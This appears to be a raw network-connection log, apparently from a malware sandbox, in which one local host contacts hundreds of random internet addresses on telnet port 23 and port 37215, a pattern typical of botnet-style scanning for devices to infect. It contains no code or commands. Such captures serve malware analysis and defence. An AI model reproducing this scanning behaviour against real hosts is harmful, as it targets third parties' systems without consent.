Oct 14, 2024 17:34:17.775415897 CEST	29508	23	192.168.2.14	218.120.189.238
Oct 14, 2024 17:34:17.775417089 CEST	29508	23	192.168.2.14	64.122.23.126
Oct 14, 2024 17:34:17.775417089 CEST	29508	23	192.168.2.14	130.144.39.15
Oct 14, 2024 17:34:17.775420904 CEST	29508	23	192.168.2.14	139.23.7.61
Oct 14, 2024 17:34:17.775420904 CEST	29508	23	192.168.2.14	95.235.49.253
Oct 14, 2024 17:34:17.775429964 CEST	29508	23	192.168.2.14	1.108.198.224
Oct 14, 2024 17:34:17.775433064 CEST	29508	23	192.168.2.14	131.90.109.202
Oct 14, 2024 17:34:17.775433064 CEST	29508	23	192.168.2.14	202.195.243.143
Oct 14, 2024 17:34:17.775433064 CEST	29508	23	192.168.2.14	19.176.89.89
Oct 14, 2024 17:34:17.775437117 CEST	29508	23	192.168.2.14	106.172.226.89
Oct 14, 2024 17:34:17.775449038 CEST	29508	23	192.168.2.14	189.65.72.198
Oct 14, 2024 17:34:17.775451899 CEST	29508	23	192.168.2.14	43.83.127.142
Oct 14, 2024 17:34:17.775463104 CEST	29508	23	192.168.2.14	196.247.131.24
Oct 14, 2024 17:34:17.775465965 CEST	29508	23	192.168.2.14	194.192.109.74
Oct 14, 2024 17:34:17.775468111 CEST	29508	23	192.168.2.14	13.112.103.147
Oct 14, 2024 17:34:17.775468111 CEST	29508	23	192.168.2.14	35.207.37.129
Oct 14, 2024 17:34:17.775484085 CEST	29508	23	192.168.2.14	126.177.134.233
Oct 14, 2024 17:34:17.775485039 CEST	29508	23	192.168.2.14	121.62.35.71
Oct 14, 2024 17:34:17.775484085 CEST	29508	23	192.168.2.14	168.174.249.7
Oct 14, 2024 17:34:17.775490046 CEST	29508	23	192.168.2.14	27.71.197.20
Oct 14, 2024 17:34:17.775496960 CEST	29508	23	192.168.2.14	82.191.66.148
Oct 14, 2024 17:34:17.775499105 CEST	29508	23	192.168.2.14	186.97.203.187
Oct 14, 2024 17:34:17.775501013 CEST	29508	23	192.168.2.14	135.175.53.177
Oct 14, 2024 17:34:17.775501966 CEST	29508	23	192.168.2.14	162.229.65.108
Oct 14, 2024 17:34:17.775506973 CEST	29508	23	192.168.2.14	19.58.184.66
Oct 14, 2024 17:34:17.775509119 CEST	29508	23	192.168.2.14	189.110.167.249
Oct 14, 2024 17:34:17.775518894 CEST	29508	23	192.168.2.14	87.6.93.191
Oct 14, 2024 17:34:17.775518894 CEST	29508	23	192.168.2.14	216.46.203.64
Oct 14, 2024 17:34:17.775522947 CEST	29508	23	192.168.2.14	90.118.127.242
Oct 14, 2024 17:34:17.775527954 CEST	29508	23	192.168.2.14	76.239.135.223
Oct 14, 2024 17:34:17.775530100 CEST	29508	23	192.168.2.14	51.59.128.95
Oct 14, 2024 17:34:17.775530100 CEST	29508	23	192.168.2.14	52.227.86.228
Oct 14, 2024 17:34:17.775544882 CEST	29508	23	192.168.2.14	25.87.240.202
Oct 14, 2024 17:34:17.775552034 CEST	29508	23	192.168.2.14	93.225.177.206
Oct 14, 2024 17:34:17.775552034 CEST	29508	23	192.168.2.14	118.82.134.146
Oct 14, 2024 17:34:17.775552034 CEST	29508	23	192.168.2.14	171.55.44.94
Oct 14, 2024 17:34:17.775554895 CEST	29508	23	192.168.2.14	57.7.111.90
Oct 14, 2024 17:34:17.775563955 CEST	29508	23	192.168.2.14	36.138.115.176
Oct 14, 2024 17:34:17.775568962 CEST	29508	23	192.168.2.14	119.60.184.117
Oct 14, 2024 17:34:17.775573015 CEST	29508	23	192.168.2.14	170.130.28.54
Oct 14, 2024 17:34:17.775579929 CEST	29508	23	192.168.2.14	63.41.120.84
Oct 14, 2024 17:34:17.775583029 CEST	29508	23	192.168.2.14	217.231.199.96
Oct 14, 2024 17:34:17.775589943 CEST	29508	23	192.168.2.14	59.113.42.85
Oct 14, 2024 17:34:17.775599003 CEST	29508	23	192.168.2.14	103.159.136.186
Oct 14, 2024 17:34:17.775599003 CEST	29508	23	192.168.2.14	64.59.166.221
Oct 14, 2024 17:34:17.775599003 CEST	29508	23	192.168.2.14	84.183.45.19
Oct 14, 2024 17:34:17.775609016 CEST	29508	23	192.168.2.14	131.218.8.149
Oct 14, 2024 17:34:17.775609970 CEST	29508	23	192.168.2.14	207.173.162.28
Oct 14, 2024 17:34:17.775609970 CEST	29508	23	192.168.2.14	19.30.101.155
Oct 14, 2024 17:34:17.775614977 CEST	29508	23	192.168.2.14	199.220.13.180
Oct 14, 2024 17:34:17.775626898 CEST	29508	23	192.168.2.14	217.152.211.47
Oct 14, 2024 17:34:17.775629044 CEST	29508	23	192.168.2.14	138.189.255.134
Oct 14, 2024 17:34:17.775629997 CEST	29508	23	192.168.2.14	47.107.210.5
Oct 14, 2024 17:34:17.775633097 CEST	29508	23	192.168.2.14	218.89.245.167
Oct 14, 2024 17:34:17.775635004 CEST	29508	23	192.168.2.14	20.152.236.132
Oct 14, 2024 17:34:17.775640965 CEST	29508	23	192.168.2.14	81.250.248.60
Oct 14, 2024 17:34:17.775644064 CEST	29508	23	192.168.2.14	219.55.172.122
Oct 14, 2024 17:34:17.775655031 CEST	29508	23	192.168.2.14	51.170.161.250
Oct 14, 2024 17:34:17.775664091 CEST	29508	23	192.168.2.14	13.220.160.0
Oct 14, 2024 17:34:17.775664091 CEST	29508	23	192.168.2.14	74.30.65.139
Oct 14, 2024 17:34:17.775665045 CEST	29508	23	192.168.2.14	105.218.111.186
Oct 14, 2024 17:34:17.775677919 CEST	29508	23	192.168.2.14	125.151.44.144
Oct 14, 2024 17:34:17.775677919 CEST	29508	23	192.168.2.14	74.17.133.195
Oct 14, 2024 17:34:17.775681973 CEST	29508	23	192.168.2.14	177.183.75.238
Oct 14, 2024 17:34:17.775687933 CEST	29508	23	192.168.2.14	170.242.132.187
Oct 14, 2024 17:34:17.775691032 CEST	29508	23	192.168.2.14	117.22.112.113
Oct 14, 2024 17:34:17.775692940 CEST	29508	23	192.168.2.14	36.114.3.39
Oct 14, 2024 17:34:17.775707006 CEST	29508	23	192.168.2.14	176.24.90.131
Oct 14, 2024 17:34:17.775707006 CEST	29508	23	192.168.2.14	27.195.5.114
Oct 14, 2024 17:34:17.775707960 CEST	29508	23	192.168.2.14	149.30.33.6
Oct 14, 2024 17:34:17.775719881 CEST	29508	23	192.168.2.14	37.188.198.61
Oct 14, 2024 17:34:17.775727987 CEST	29508	23	192.168.2.14	172.1.206.77
Oct 14, 2024 17:34:17.775742054 CEST	29508	23	192.168.2.14	60.188.50.48
Oct 14, 2024 17:34:17.775743961 CEST	29508	23	192.168.2.14	57.120.239.92
Oct 14, 2024 17:34:17.775744915 CEST	29508	23	192.168.2.14	74.63.86.114
Oct 14, 2024 17:34:17.775747061 CEST	29508	23	192.168.2.14	169.144.43.77
Oct 14, 2024 17:34:17.775747061 CEST	29508	23	192.168.2.14	17.160.86.34
Oct 14, 2024 17:34:17.775747061 CEST	29508	23	192.168.2.14	113.110.232.238
Oct 14, 2024 17:34:17.775747061 CEST	29508	23	192.168.2.14	133.117.79.152
Oct 14, 2024 17:34:17.775747061 CEST	29508	23	192.168.2.14	32.165.22.107
Oct 14, 2024 17:34:17.775749922 CEST	29508	23	192.168.2.14	85.14.107.214
Oct 14, 2024 17:34:17.775757074 CEST	29508	23	192.168.2.14	117.146.11.24
Oct 14, 2024 17:34:17.775762081 CEST	29508	23	192.168.2.14	120.17.214.119
Oct 14, 2024 17:34:17.775765896 CEST	29508	23	192.168.2.14	112.162.53.114
Oct 14, 2024 17:34:17.775768995 CEST	29508	23	192.168.2.14	163.28.137.236
Oct 14, 2024 17:34:17.775779009 CEST	29508	23	192.168.2.14	80.206.40.149
Oct 14, 2024 17:34:17.775782108 CEST	29508	23	192.168.2.14	19.217.203.11
Oct 14, 2024 17:34:17.775783062 CEST	29508	23	192.168.2.14	198.167.37.20
Oct 14, 2024 17:34:17.775783062 CEST	29508	23	192.168.2.14	171.153.204.28
Oct 14, 2024 17:34:17.775799990 CEST	29508	23	192.168.2.14	103.73.238.170
Oct 14, 2024 17:34:17.775799990 CEST	29508	23	192.168.2.14	197.206.166.135
Oct 14, 2024 17:34:17.775815964 CEST	29508	23	192.168.2.14	86.74.45.188
Oct 14, 2024 17:34:17.775816917 CEST	29508	23	192.168.2.14	180.220.197.83
Oct 14, 2024 17:34:17.775816917 CEST	29508	23	192.168.2.14	68.200.221.117
Oct 14, 2024 17:34:17.775816917 CEST	29508	23	192.168.2.14	117.146.9.107
Oct 14, 2024 17:34:17.775824070 CEST	29508	23	192.168.2.14	216.194.191.74
Oct 14, 2024 17:34:17.775826931 CEST	29508	23	192.168.2.14	148.217.108.26
Oct 14, 2024 17:34:17.775832891 CEST	29508	23	192.168.2.14	150.205.209.71
Oct 14, 2024 17:34:17.775839090 CEST	29508	23	192.168.2.14	142.62.84.241
Oct 14, 2024 17:34:17.775841951 CEST	29508	23	192.168.2.14	180.58.110.221
Oct 14, 2024 17:34:17.775842905 CEST	29508	23	192.168.2.14	145.237.159.77
Oct 14, 2024 17:34:17.775842905 CEST	29508	23	192.168.2.14	181.236.16.106
Oct 14, 2024 17:34:17.775849104 CEST	29508	23	192.168.2.14	168.227.249.51
Oct 14, 2024 17:34:17.775856972 CEST	29508	23	192.168.2.14	207.249.210.73
Oct 14, 2024 17:34:17.775856972 CEST	29508	23	192.168.2.14	5.109.52.38
Oct 14, 2024 17:34:17.775856972 CEST	29508	23	192.168.2.14	102.56.34.101
Oct 14, 2024 17:34:17.775860071 CEST	29508	23	192.168.2.14	24.112.137.91
Oct 14, 2024 17:34:17.775865078 CEST	29508	23	192.168.2.14	159.121.55.22
Oct 14, 2024 17:34:17.775872946 CEST	29508	23	192.168.2.14	130.122.80.220
Oct 14, 2024 17:34:17.775892973 CEST	29508	23	192.168.2.14	129.93.242.218
Oct 14, 2024 17:34:17.775892973 CEST	29508	23	192.168.2.14	113.118.63.12
Oct 14, 2024 17:34:17.775895119 CEST	29508	23	192.168.2.14	75.253.55.7
Oct 14, 2024 17:34:17.775901079 CEST	29508	23	192.168.2.14	62.240.243.23
Oct 14, 2024 17:34:17.775902033 CEST	29508	23	192.168.2.14	103.240.32.165
Oct 14, 2024 17:34:17.775907040 CEST	29508	23	192.168.2.14	137.230.52.137
Oct 14, 2024 17:34:17.775909901 CEST	29508	23	192.168.2.14	112.224.41.210
Oct 14, 2024 17:34:17.775916100 CEST	29508	23	192.168.2.14	171.135.31.244
Oct 14, 2024 17:34:17.775921106 CEST	29508	23	192.168.2.14	132.108.160.156
Oct 14, 2024 17:34:17.775921106 CEST	29508	23	192.168.2.14	201.12.104.58
Oct 14, 2024 17:34:17.775926113 CEST	29508	23	192.168.2.14	201.163.45.138
Oct 14, 2024 17:34:17.775930882 CEST	29508	23	192.168.2.14	85.79.129.213
Oct 14, 2024 17:34:17.775935888 CEST	29508	23	192.168.2.14	197.175.185.145
Oct 14, 2024 17:34:17.775935888 CEST	29508	23	192.168.2.14	111.169.251.206
Oct 14, 2024 17:34:17.775947094 CEST	29508	23	192.168.2.14	31.9.180.227
Oct 14, 2024 17:34:17.775949001 CEST	29508	23	192.168.2.14	38.74.35.83
Oct 14, 2024 17:34:17.775952101 CEST	29508	23	192.168.2.14	166.111.164.101
Oct 14, 2024 17:34:17.775955915 CEST	29508	23	192.168.2.14	5.12.169.186
Oct 14, 2024 17:34:17.775957108 CEST	29508	23	192.168.2.14	167.230.70.191
Oct 14, 2024 17:34:17.775962114 CEST	29508	23	192.168.2.14	31.190.72.181
Oct 14, 2024 17:34:17.775974989 CEST	29508	23	192.168.2.14	8.20.32.117
Oct 14, 2024 17:34:17.775979996 CEST	29508	23	192.168.2.14	203.151.213.120
Oct 14, 2024 17:34:17.775983095 CEST	29508	23	192.168.2.14	218.44.62.38
Oct 14, 2024 17:34:17.780453920 CEST	23	29508	172.246.21.27	192.168.2.14
Oct 14, 2024 17:34:17.780466080 CEST	23	29508	51.39.201.182	192.168.2.14
Oct 14, 2024 17:34:17.780473948 CEST	23	29508	94.224.139.152	192.168.2.14
Oct 14, 2024 17:34:17.780481100 CEST	23	29508	105.226.59.149	192.168.2.14
Oct 14, 2024 17:34:17.780590057 CEST	23	29508	162.80.103.192	192.168.2.14
Oct 14, 2024 17:34:17.780597925 CEST	23	29508	63.106.48.91	192.168.2.14
Oct 14, 2024 17:34:17.780608892 CEST	23	29508	37.212.18.213	192.168.2.14
Oct 14, 2024 17:34:17.780617952 CEST	23	29508	5.169.239.60	192.168.2.14
Oct 14, 2024 17:34:17.780620098 CEST	29508	23	192.168.2.14	94.224.139.152
Oct 14, 2024 17:34:17.780627012 CEST	23	29508	82.102.105.172	192.168.2.14
Oct 14, 2024 17:34:17.780628920 CEST	29508	23	192.168.2.14	105.226.59.149
Oct 14, 2024 17:34:17.780631065 CEST	23	29508	179.205.236.216	192.168.2.14
Oct 14, 2024 17:34:17.780642986 CEST	29508	23	192.168.2.14	51.39.201.182
Oct 14, 2024 17:34:17.780644894 CEST	29508	23	192.168.2.14	63.106.48.91
Oct 14, 2024 17:34:17.780674934 CEST	29508	23	192.168.2.14	5.169.239.60
Oct 14, 2024 17:34:17.780677080 CEST	29508	23	192.168.2.14	37.212.18.213
Oct 14, 2024 17:34:17.780677080 CEST	29508	23	192.168.2.14	179.205.236.216
Oct 14, 2024 17:34:17.780679941 CEST	29508	23	192.168.2.14	162.80.103.192
Oct 14, 2024 17:34:17.780679941 CEST	29508	23	192.168.2.14	82.102.105.172
Oct 14, 2024 17:34:17.780735970 CEST	29508	23	192.168.2.14	172.246.21.27
Oct 14, 2024 17:34:17.780750990 CEST	23	29508	149.23.240.215	192.168.2.14
Oct 14, 2024 17:34:17.780791998 CEST	29508	23	192.168.2.14	149.23.240.215
Oct 14, 2024 17:34:17.781109095 CEST	23	29508	67.101.233.166	192.168.2.14
Oct 14, 2024 17:34:17.781119108 CEST	23	29508	114.84.16.117	192.168.2.14
Oct 14, 2024 17:34:17.781131029 CEST	23	29508	27.91.32.236	192.168.2.14
Oct 14, 2024 17:34:17.781138897 CEST	23	29508	52.95.214.105	192.168.2.14
Oct 14, 2024 17:34:17.781150103 CEST	29508	23	192.168.2.14	114.84.16.117
Oct 14, 2024 17:34:17.781163931 CEST	29508	23	192.168.2.14	52.95.214.105
Oct 14, 2024 17:34:17.781167984 CEST	29508	23	192.168.2.14	67.101.233.166
Oct 14, 2024 17:34:17.781167984 CEST	29508	23	192.168.2.14	27.91.32.236
Oct 14, 2024 17:34:17.781270027 CEST	23	29508	78.227.161.238	192.168.2.14
Oct 14, 2024 17:34:17.781280041 CEST	23	29508	64.64.32.41	192.168.2.14
Oct 14, 2024 17:34:17.781287909 CEST	23	29508	71.42.198.54	192.168.2.14
Oct 14, 2024 17:34:17.781291962 CEST	23	29508	150.227.172.254	192.168.2.14
Oct 14, 2024 17:34:17.781300068 CEST	23	29508	94.198.202.107	192.168.2.14
Oct 14, 2024 17:34:17.781307936 CEST	23	29508	118.97.197.38	192.168.2.14
Oct 14, 2024 17:34:17.781312943 CEST	29508	23	192.168.2.14	78.227.161.238
Oct 14, 2024 17:34:17.781316996 CEST	23	29508	87.194.101.170	192.168.2.14
Oct 14, 2024 17:34:17.781318903 CEST	29508	23	192.168.2.14	64.64.32.41
Oct 14, 2024 17:34:17.781325102 CEST	23	29508	203.238.61.100	192.168.2.14
Oct 14, 2024 17:34:17.781330109 CEST	29508	23	192.168.2.14	71.42.198.54
Oct 14, 2024 17:34:17.781330109 CEST	29508	23	192.168.2.14	94.198.202.107
Oct 14, 2024 17:34:17.781332016 CEST	29508	23	192.168.2.14	150.227.172.254
Oct 14, 2024 17:34:17.781332970 CEST	23	29508	18.239.105.115	192.168.2.14
Oct 14, 2024 17:34:17.781342030 CEST	23	29508	221.23.182.203	192.168.2.14
Oct 14, 2024 17:34:17.781346083 CEST	29508	23	192.168.2.14	118.97.197.38
Oct 14, 2024 17:34:17.781352997 CEST	29508	23	192.168.2.14	87.194.101.170
Oct 14, 2024 17:34:17.781352997 CEST	29508	23	192.168.2.14	203.238.61.100
Oct 14, 2024 17:34:17.781352997 CEST	29508	23	192.168.2.14	18.239.105.115
Oct 14, 2024 17:34:17.781358004 CEST	23	29508	97.123.103.189	192.168.2.14
Oct 14, 2024 17:34:17.781368971 CEST	23	29508	44.163.110.147	192.168.2.14
Oct 14, 2024 17:34:17.781377077 CEST	23	29508	168.110.252.51	192.168.2.14
Oct 14, 2024 17:34:17.781377077 CEST	29508	23	192.168.2.14	221.23.182.203
Oct 14, 2024 17:34:17.781383038 CEST	23	29508	45.123.219.250	192.168.2.14
Oct 14, 2024 17:34:17.781388998 CEST	29508	23	192.168.2.14	97.123.103.189
Oct 14, 2024 17:34:17.781397104 CEST	23	29508	206.153.20.111	192.168.2.14
Oct 14, 2024 17:34:17.781404018 CEST	23	29508	73.144.174.181	192.168.2.14
Oct 14, 2024 17:34:17.781411886 CEST	23	29508	73.146.155.184	192.168.2.14
Oct 14, 2024 17:34:17.781424046 CEST	29508	23	192.168.2.14	44.163.110.147
Oct 14, 2024 17:34:17.781424046 CEST	29508	23	192.168.2.14	168.110.252.51
Oct 14, 2024 17:34:17.781424046 CEST	29508	23	192.168.2.14	45.123.219.250
Oct 14, 2024 17:34:17.781430006 CEST	29508	23	192.168.2.14	206.153.20.111
Oct 14, 2024 17:34:17.781438112 CEST	29508	23	192.168.2.14	73.144.174.181
Oct 14, 2024 17:34:17.781439066 CEST	29508	23	192.168.2.14	73.146.155.184
Oct 14, 2024 17:34:17.781574965 CEST	23	29508	34.191.85.58	192.168.2.14
Oct 14, 2024 17:34:17.781585932 CEST	23	29508	192.96.3.58	192.168.2.14
Oct 14, 2024 17:34:17.781594038 CEST	23	29508	72.215.153.88	192.168.2.14
Oct 14, 2024 17:34:17.781598091 CEST	23	29508	1.63.85.94	192.168.2.14
Oct 14, 2024 17:34:17.781601906 CEST	23	29508	193.50.2.3	192.168.2.14
Oct 14, 2024 17:34:17.781610012 CEST	23	29508	131.223.161.142	192.168.2.14
Oct 14, 2024 17:34:17.781619072 CEST	23	29508	57.236.156.143	192.168.2.14
Oct 14, 2024 17:34:17.781626940 CEST	23	29508	201.97.136.168	192.168.2.14
Oct 14, 2024 17:34:17.781630993 CEST	29508	23	192.168.2.14	34.191.85.58
Oct 14, 2024 17:34:17.781630993 CEST	29508	23	192.168.2.14	192.96.3.58
Oct 14, 2024 17:34:17.781630993 CEST	29508	23	192.168.2.14	1.63.85.94
Oct 14, 2024 17:34:17.781630993 CEST	29508	23	192.168.2.14	72.215.153.88
Oct 14, 2024 17:34:17.781636953 CEST	23	29508	92.21.200.86	192.168.2.14
Oct 14, 2024 17:34:17.781645060 CEST	23	29508	43.113.165.194	192.168.2.14
Oct 14, 2024 17:34:17.781647921 CEST	29508	23	192.168.2.14	131.223.161.142
Oct 14, 2024 17:34:17.781652927 CEST	29508	23	192.168.2.14	193.50.2.3
Oct 14, 2024 17:34:17.781652927 CEST	29508	23	192.168.2.14	57.236.156.143
Oct 14, 2024 17:34:17.781662941 CEST	29508	23	192.168.2.14	201.97.136.168
Oct 14, 2024 17:34:17.781672001 CEST	29508	23	192.168.2.14	92.21.200.86
Oct 14, 2024 17:34:17.781672001 CEST	29508	23	192.168.2.14	43.113.165.194
Oct 14, 2024 17:34:18.187552929 CEST	44544	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:18.192543983 CEST	37215	44544	197.32.90.183	192.168.2.14
Oct 14, 2024 17:34:18.192640066 CEST	44544	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:18.192743063 CEST	29625	37215	192.168.2.14	156.94.110.243
Oct 14, 2024 17:34:18.192744017 CEST	29625	37215	192.168.2.14	197.187.213.39
Oct 14, 2024 17:34:18.192755938 CEST	29625	37215	192.168.2.14	41.86.250.94
Oct 14, 2024 17:34:18.192761898 CEST	29625	37215	192.168.2.14	156.19.5.207
Oct 14, 2024 17:34:18.192773104 CEST	29625	37215	192.168.2.14	156.167.26.48
Oct 14, 2024 17:34:18.192773104 CEST	29625	37215	192.168.2.14	156.7.214.17
Oct 14, 2024 17:34:18.192784071 CEST	29625	37215	192.168.2.14	41.142.82.90
Oct 14, 2024 17:34:18.192785025 CEST	29625	37215	192.168.2.14	156.181.17.206
Oct 14, 2024 17:34:18.192790031 CEST	29625	37215	192.168.2.14	41.69.100.176
Oct 14, 2024 17:34:18.192800999 CEST	29625	37215	192.168.2.14	156.179.121.98
Oct 14, 2024 17:34:18.192804098 CEST	29625	37215	192.168.2.14	41.195.44.60
Oct 14, 2024 17:34:18.192804098 CEST	29625	37215	192.168.2.14	156.202.245.237
Oct 14, 2024 17:34:18.192811966 CEST	29625	37215	192.168.2.14	197.236.232.219
Oct 14, 2024 17:34:18.192812920 CEST	29625	37215	192.168.2.14	156.30.236.4
Oct 14, 2024 17:34:18.192831039 CEST	29625	37215	192.168.2.14	197.209.30.215
Oct 14, 2024 17:34:18.192831039 CEST	29625	37215	192.168.2.14	197.253.92.122
Oct 14, 2024 17:34:18.192831039 CEST	29625	37215	192.168.2.14	197.34.107.191
Oct 14, 2024 17:34:18.192831039 CEST	29625	37215	192.168.2.14	197.3.228.241
Oct 14, 2024 17:34:18.192836046 CEST	29625	37215	192.168.2.14	41.82.63.63
Oct 14, 2024 17:34:18.192836046 CEST	29625	37215	192.168.2.14	156.32.170.157
Oct 14, 2024 17:34:18.192840099 CEST	29625	37215	192.168.2.14	197.191.9.242
Oct 14, 2024 17:34:18.192853928 CEST	29625	37215	192.168.2.14	197.50.10.101
Oct 14, 2024 17:34:18.192859888 CEST	29625	37215	192.168.2.14	156.136.171.234
Oct 14, 2024 17:34:18.192872047 CEST	29625	37215	192.168.2.14	197.73.128.72
Oct 14, 2024 17:34:18.192883015 CEST	29625	37215	192.168.2.14	197.156.124.4
Oct 14, 2024 17:34:18.192883015 CEST	29625	37215	192.168.2.14	156.38.51.21
Oct 14, 2024 17:34:18.192883015 CEST	29625	37215	192.168.2.14	156.11.3.32
Oct 14, 2024 17:34:18.192897081 CEST	29625	37215	192.168.2.14	156.43.206.42
Oct 14, 2024 17:34:18.192898035 CEST	29625	37215	192.168.2.14	156.169.50.92
Oct 14, 2024 17:34:18.192898035 CEST	29625	37215	192.168.2.14	41.218.135.142
Oct 14, 2024 17:34:18.192905903 CEST	29625	37215	192.168.2.14	197.243.95.105
Oct 14, 2024 17:34:18.192918062 CEST	29625	37215	192.168.2.14	41.67.31.225
Oct 14, 2024 17:34:18.192919970 CEST	29625	37215	192.168.2.14	197.92.19.86
Oct 14, 2024 17:34:18.192920923 CEST	29625	37215	192.168.2.14	156.116.2.221
Oct 14, 2024 17:34:18.192920923 CEST	29625	37215	192.168.2.14	197.22.85.41
Oct 14, 2024 17:34:18.192925930 CEST	29625	37215	192.168.2.14	156.118.11.61
Oct 14, 2024 17:34:18.192936897 CEST	29625	37215	192.168.2.14	197.21.219.153
Oct 14, 2024 17:34:18.192940950 CEST	29625	37215	192.168.2.14	197.121.200.150
Oct 14, 2024 17:34:18.192955971 CEST	29625	37215	192.168.2.14	197.212.109.47
Oct 14, 2024 17:34:18.192969084 CEST	29625	37215	192.168.2.14	197.46.40.254
Oct 14, 2024 17:34:18.192970037 CEST	29625	37215	192.168.2.14	156.42.6.193
Oct 14, 2024 17:34:18.192972898 CEST	29625	37215	192.168.2.14	156.205.165.160
Oct 14, 2024 17:34:18.192971945 CEST	29625	37215	192.168.2.14	156.88.101.254
Oct 14, 2024 17:34:18.192977905 CEST	29625	37215	192.168.2.14	197.118.199.48
Oct 14, 2024 17:34:18.192977905 CEST	29625	37215	192.168.2.14	156.204.231.223
Oct 14, 2024 17:34:18.192981005 CEST	29625	37215	192.168.2.14	156.244.140.103
Oct 14, 2024 17:34:18.192981005 CEST	29625	37215	192.168.2.14	197.231.205.48
Oct 14, 2024 17:34:18.192991972 CEST	29625	37215	192.168.2.14	156.136.206.30
Oct 14, 2024 17:34:18.193002939 CEST	29625	37215	192.168.2.14	41.238.159.73
Oct 14, 2024 17:34:18.193015099 CEST	29625	37215	192.168.2.14	41.231.56.32
Oct 14, 2024 17:34:18.193017960 CEST	29625	37215	192.168.2.14	156.55.22.170
Oct 14, 2024 17:34:18.193022013 CEST	29625	37215	192.168.2.14	197.165.106.32
Oct 14, 2024 17:34:18.193022013 CEST	29625	37215	192.168.2.14	197.75.35.79
Oct 14, 2024 17:34:18.193023920 CEST	29625	37215	192.168.2.14	156.249.30.126
Oct 14, 2024 17:34:18.193036079 CEST	29625	37215	192.168.2.14	41.140.25.150
Oct 14, 2024 17:34:18.193037987 CEST	29625	37215	192.168.2.14	156.198.2.236
Oct 14, 2024 17:34:18.193037987 CEST	29625	37215	192.168.2.14	41.216.10.37
Oct 14, 2024 17:34:18.193037987 CEST	29625	37215	192.168.2.14	156.2.183.52
Oct 14, 2024 17:34:18.193037987 CEST	29625	37215	192.168.2.14	156.35.148.223
Oct 14, 2024 17:34:18.193047047 CEST	29625	37215	192.168.2.14	41.146.121.132
Oct 14, 2024 17:34:18.193051100 CEST	29625	37215	192.168.2.14	197.185.182.210
Oct 14, 2024 17:34:18.193069935 CEST	29625	37215	192.168.2.14	197.64.84.194
Oct 14, 2024 17:34:18.193075895 CEST	29625	37215	192.168.2.14	197.129.134.175
Oct 14, 2024 17:34:18.193078995 CEST	29625	37215	192.168.2.14	156.191.96.198
Oct 14, 2024 17:34:18.193078995 CEST	29625	37215	192.168.2.14	41.75.109.97
Oct 14, 2024 17:34:18.193083048 CEST	29625	37215	192.168.2.14	156.199.113.237
Oct 14, 2024 17:34:18.193089008 CEST	29625	37215	192.168.2.14	156.50.104.55
Oct 14, 2024 17:34:18.193089962 CEST	29625	37215	192.168.2.14	156.245.76.215
Oct 14, 2024 17:34:18.193095922 CEST	29625	37215	192.168.2.14	41.122.58.204
Oct 14, 2024 17:34:18.193097115 CEST	29625	37215	192.168.2.14	41.165.200.245
Oct 14, 2024 17:34:18.193101883 CEST	29625	37215	192.168.2.14	197.114.54.196
Oct 14, 2024 17:34:18.193106890 CEST	29625	37215	192.168.2.14	197.186.217.70
Oct 14, 2024 17:34:18.193115950 CEST	29625	37215	192.168.2.14	197.248.159.206
Oct 14, 2024 17:34:18.193130016 CEST	29625	37215	192.168.2.14	41.37.20.205
Oct 14, 2024 17:34:18.193130016 CEST	29625	37215	192.168.2.14	197.146.145.150
Oct 14, 2024 17:34:18.193130970 CEST	29625	37215	192.168.2.14	197.56.36.67
Oct 14, 2024 17:34:18.193135977 CEST	29625	37215	192.168.2.14	156.72.214.1
Oct 14, 2024 17:34:18.193140030 CEST	29625	37215	192.168.2.14	41.140.204.202
Oct 14, 2024 17:34:18.193145990 CEST	29625	37215	192.168.2.14	156.197.86.31
Oct 14, 2024 17:34:18.193152905 CEST	29625	37215	192.168.2.14	41.100.205.123
Oct 14, 2024 17:34:18.193180084 CEST	29625	37215	192.168.2.14	156.210.43.214
Oct 14, 2024 17:34:18.193180084 CEST	29625	37215	192.168.2.14	41.135.101.125
Oct 14, 2024 17:34:18.193181038 CEST	29625	37215	192.168.2.14	197.56.158.141
Oct 14, 2024 17:34:18.193182945 CEST	29625	37215	192.168.2.14	156.149.7.122
Oct 14, 2024 17:34:18.193182945 CEST	29625	37215	192.168.2.14	41.58.5.171
Oct 14, 2024 17:34:18.193187952 CEST	29625	37215	192.168.2.14	197.189.193.161
Oct 14, 2024 17:34:18.193205118 CEST	29625	37215	192.168.2.14	156.142.133.215
Oct 14, 2024 17:34:18.193205118 CEST	29625	37215	192.168.2.14	197.138.66.192
Oct 14, 2024 17:34:18.193260908 CEST	29625	37215	192.168.2.14	156.141.77.182
Oct 14, 2024 17:34:18.193265915 CEST	29625	37215	192.168.2.14	41.220.242.147
Oct 14, 2024 17:34:18.193265915 CEST	29625	37215	192.168.2.14	156.228.77.63
Oct 14, 2024 17:34:18.193268061 CEST	29625	37215	192.168.2.14	197.189.147.123
Oct 14, 2024 17:34:18.193272114 CEST	29625	37215	192.168.2.14	156.62.26.186
Oct 14, 2024 17:34:18.193272114 CEST	29625	37215	192.168.2.14	197.100.239.123
Oct 14, 2024 17:34:18.193283081 CEST	29625	37215	192.168.2.14	156.83.31.177
Oct 14, 2024 17:34:18.193284035 CEST	29625	37215	192.168.2.14	156.21.74.224
Oct 14, 2024 17:34:18.193288088 CEST	29625	37215	192.168.2.14	41.190.47.133
Oct 14, 2024 17:34:18.193296909 CEST	29625	37215	192.168.2.14	197.127.108.146
Oct 14, 2024 17:34:18.193310976 CEST	29625	37215	192.168.2.14	197.152.205.212
Oct 14, 2024 17:34:18.193320036 CEST	29625	37215	192.168.2.14	197.155.47.0
Oct 14, 2024 17:34:18.193320990 CEST	29625	37215	192.168.2.14	197.56.219.57
Oct 14, 2024 17:34:18.193325996 CEST	29625	37215	192.168.2.14	156.126.243.239
Oct 14, 2024 17:34:18.193332911 CEST	29625	37215	192.168.2.14	197.138.26.147
Oct 14, 2024 17:34:18.193345070 CEST	29625	37215	192.168.2.14	197.202.205.43
Oct 14, 2024 17:34:18.193352938 CEST	29625	37215	192.168.2.14	41.157.155.51
Oct 14, 2024 17:34:18.193352938 CEST	29625	37215	192.168.2.14	41.111.235.231
Oct 14, 2024 17:34:18.193355083 CEST	29625	37215	192.168.2.14	156.230.191.177
Oct 14, 2024 17:34:18.193357944 CEST	29625	37215	192.168.2.14	156.74.165.1
Oct 14, 2024 17:34:18.193376064 CEST	29625	37215	192.168.2.14	41.177.168.128
Oct 14, 2024 17:34:18.193376064 CEST	29625	37215	192.168.2.14	156.136.18.101
Oct 14, 2024 17:34:18.193376064 CEST	29625	37215	192.168.2.14	197.213.71.99
